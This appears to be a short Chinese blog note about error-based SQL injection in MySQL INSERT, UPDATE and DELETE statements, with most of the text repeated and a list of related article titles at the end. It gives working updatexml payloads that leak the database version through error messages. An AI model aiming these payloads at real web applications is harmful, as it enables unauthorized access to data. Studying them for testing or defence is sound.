insert,update和delete下的注入
2017-01-12 08:46
561 查看
PS:刚开始看到这个注入方式的时候,问米哥:“为啥updatexml就足以报错了,为啥还要使用insert?”知道答案的我觉得问了一个傻蛋的问题。不过没关系。慢慢积累。答案很简单,并不是所有的注入点程序里面执行的都是select语句,也可以是别的。比如insert、update、以及delete。
注意有个是单引号,有个是双引号。可根据实际场景灵活运用!
updatexml of payload:and updatexml(1,concat(0x7e,(select @@version),0x7e),1)
insert:
insert into users(id,username,password) values(1,updatexml(null,concat(0x7e,(select @@version),0x7e),null),'DEF');
update:
update users set password='DEF' or updatexml(1,concat(0x7e,(select @@version),0x7e),2);
delect:
DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(version())),0);
当然了除了updatexml这个函数还有extractvalue函数。以及我还没有学到的“name_const()”
THE END
注入语法
insert into users (id, username, password) values (1,''inject here'','DEF');
insert into users (id, username, password) values (1,""inject here"",'DEF');
注意有个是单引号,有个是双引号。可根据实际场景灵活运用!
updatexml of payload:and updatexml(1,concat(0x7e,(select @@version),0x7e),1)
insert:
insert into users(id,username,password) values(1,updatexml(null,concat(0x7e,(select @@version),0x7e),null),'DEF');
update:
update users set password='DEF' or updatexml(1,concat(0x7e,(select @@version),0x7e),2);
delect:
DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(version())),0);
当然了除了updatexml这个函数还有extractvalue函数。以及我还没有学到的“name_const()”
THE END
相关文章推荐
- 利用insert,update和delete注入获取数据
- 利用insert,update和delete注入获取数据
- 利用insert,update和delete注入获取数据
- Mysql 下 Insert、Update、Delete、Order By、Group By注入
- 关于insert|update|delete注入中的tips
- 利用insert,update和delete注入获取数据
- 利用insert,update和delete注入获取数据
- SQLiteDatabase中query、insert、update、delete方法参数说明
- JavaBean 实现Mysql数据库操作(Query、Insert、Delete、Update)
- 数据库的insert , delete , update , select 的基本语句
- Using MERGE in SQL Server to insert, update and delete at the same time
- mybatis——select、insert、update、delete
- 学习 SQL 语句 - Insert、Update、Delete
- SQLiteDatabase中query、insert、update、delete方法参数说明
- 使用 链接服务器执行SELECT、UPDATE、INSERT 或 DELETE 及其它命令
- 数据库记录的增删查改insert,delete,select,update
- SQLSERVER触发器内INSERT,UPDATE,DELETE三种状态
- 如何对SQL Server中的XML数据进行insert、update、delete
- SQLiteDatabase中query、insert、update、delete方法参数说明
- Hql 也可以进行DML操作update delete insert